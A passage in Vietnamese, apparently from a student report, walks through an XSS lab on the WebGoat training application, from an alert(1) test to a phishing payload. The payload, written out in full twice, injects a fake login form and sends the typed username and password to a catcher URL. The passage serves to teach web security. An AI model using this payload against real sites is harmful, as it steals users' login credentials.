Các bước thực hiện:
Bước 1: Hệ thống cung cấp một form tìm kiếm. Kiểm tra xem server có bị lỗi XSS hay không thì trong ô tìm kiếm nhập thử một đoạn <script> bất kì: <script>alert(1) </script>
Hệ thống trả vể một popup đúng là giá trị ‘1’ vừa truyền vào từ ô tìm kiếm.
Hình 3. 12. Kết quả chèn thử với đoạn <script>alert(1) </script> Như vậy có thể kết luận hệ thống bị lỗi XSS.
38
Bước 2: Thay vì truyền đoạn mã lỗi đơn giản như trên ta nhập vào một đoạn mã phức tạp hơn để lấy cắp thông tin, cụ thể như sau:
Nhập đoạn mã sau:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src = "http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+
document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name
= " + document.phish.user.value + "Password = " +
document.phish.pass.value);} </script><form name="phish"> <br><br> <HR> <H3> account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
Đoạn mã trên có chức năng tạo một form đăng nhập giả mạo. Khi được kích hoạt thì toàn bộ thông tin đăng nhâp gồm uername, password sẽ được hiển thị.
Trong đó đoạn mã:
</script><form name="phish"> <br><br> <HR> <H3> account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
Là để tạo ra 1 from đăng nhập có 2 trường nhập Username và Password và một nút submit là login.
39
Hình 3.13. Giao diện đăng nhập giả mạo Đoạn mã:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src = "http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+
document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);}
Dùng để xử lí các chuỗi kí tự nhập vào từ from login vừa tạo ra. Khi người dùng nhập vào thì hàm hack() sẽ bắt các ký tự và xử lý đưa ra thông báo tên tài khoản, mật khẩu và hiển thị cookie người dùng.
Hình 3.14. Kết quả phishing with XSS